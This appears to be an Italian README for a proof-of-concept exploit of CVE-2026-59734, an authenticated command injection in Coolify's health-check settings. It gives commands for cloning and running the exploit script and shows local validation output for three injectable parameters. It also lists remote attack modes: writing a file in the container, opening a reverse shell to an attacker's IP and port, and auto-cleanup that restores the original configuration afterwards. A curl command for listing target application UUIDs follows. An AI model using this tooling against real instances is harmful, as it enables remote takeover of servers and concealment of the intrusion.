┌──────────────────┬──────────────────────────────────────┐
│ ID CVE           │ CVE-2026-59734                       │
│ Tipo             │ Iniezione di Comandi OS (CWE-78)     │
│ Gravità          │ ALTA — CVSS 8.8                      │
│ Vettore d'Attacco│ Rete (Autenticato)                   │
│ Versione Affetta │ Coolify <= v4.0.0-beta.460           │
│ Corretto in      │ Coolify >= v4.0.0-beta.469           │
│ Commit di Corr.  │ 23f9156c7                            │
│ Segnalatore      │ CyberTechAjju                        │
└──────────────────┴──────────────────────────────────────┘

git clone https://github.com/cybertechajju/CVE-2026-59734.git
cd CVE-2026-59734
chmod +x coolify_healthcheck_rce_poc.sh

# Esegui la convalida locale sicura
./coolify_healthcheck_rce_poc.sh --local

═══ LOCAL VULNERABILITY PATTERN VALIDATION ═══

┌─ Test 1: health_check_host injection
│  ✅ VULNERABLE — Injected command executed successfully

┌─ Test 2: health_check_method injection
│  ✅ VULNERABLE — Method parameter also injectable

┌─ Test 3: health_check_path injection
│  ✅ VULNERABLE — Path parameter also injectable

┌─ Test 4: Verify that escapeshellarg() fixes the issue
│  ✅ SAFE — Sanitized input prevents injection

# PoC base — scrive un file di prova all'interno del container
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID

# Reverse shell
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --lhost YOUR_IP \
  --lport 4444

# Con pulizia automatica (ripristina la configurazione originale dopo lo sfruttamento)
./coolify_healthcheck_rce_poc.sh --remote \
  --url https://your-coolify-instance:3000 \
  --token YOUR_API_TOKEN \
  --uuid YOUR_APP_UUID \
  --cleanup

Utilizzo:

  Convalida Locale (sicura, offline):
    ./coolify_healthcheck_rce_poc.sh --local

  Exploit Remoto (richiede autenticazione):
    ./coolify_healthcheck_rce_poc.sh --remote --url <URL> --token <TOKEN> --uuid <UUID> [OPZIONI]

Opzioni:
  --url       URL dell'istanza Coolify (es. https://coolify.example.com)
  --token     Token Bearer API
  --uuid      UUID dell'applicazione target
  --payload   Payload di iniezione personalizzato
  --lhost     IP dell'attaccante per reverse shell
  --lport     Porta dell'attaccante per reverse shell (default: 4444)
  --cleanup   Ripristina la configurazione originale dopo lo sfruttamento

curl -s https://YOUR-COOLIFY/api/v1/applications \
  -H "Authorization: Bearer YOUR_TOKEN" | jq '.[].uuid'